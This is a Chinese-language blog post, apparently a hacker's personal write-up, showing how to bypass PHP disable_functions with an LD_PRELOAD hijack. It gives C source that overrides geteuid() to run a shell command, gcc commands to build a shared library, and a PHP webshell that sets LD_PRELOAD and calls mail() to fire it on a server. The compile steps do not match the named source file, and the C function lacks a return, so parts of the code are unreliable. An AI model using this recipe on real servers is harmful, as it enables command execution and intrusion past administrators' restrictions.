利用ld_preload劫持执行系统命令

我十哥哥扔了个shell让看,大哥扔的怎么能不看。简单看了下,由于 PHP disable_functions 的存在,无法执行系统命令(即使是 ls )也不行。算了,看鸡毛,禁用了这么多函数,执行个毛系统命令,要是说不行,大哥要打我,没办法只能点了支烟,看了眼床上的女朋友,白光一闪,思路来了,就是利用LD_PRELOAD劫持执行系统命令。

LD_PRELOAD

在 UNIX 的动态链接库的世界中,LD_PRELOAD 是一个有趣的环境变量,它可以影响程序运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。简单地说,可注入自己的代码,覆盖原有代码。也就是说如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过  LD_PRELOAD 来设置它优先加载我们自己编写的程序,实现劫持。

利用代码:wind.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("ls > result.txt");
}   
int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

当这个共享库中的  geteuid 被调用时,尝试加载  payload() 函数,执行命令,我们把它编译为一个位置信息无关的动态共享库:

gcc -c -fPIC hack.c -o wind
gcc -shared hack -o wind.so

然后把  .so 传到服务器上:

写入 webshell:

<?php
putenv("LD_PRELOAD=/var/www/wind.so");
mail("[email protected]","","","","");
?>

我们来执行这个webshell:http://XXXXXXXX/newfile.php

执行完后在根目录下生成一个txt文件:

http://XXXXXXXXXXXXXX/result.txt

到此我们成功突破了PHP 的 disable_functions 的限制,太好了大表哥不会打我了。。。。。。。。真开心

参与评论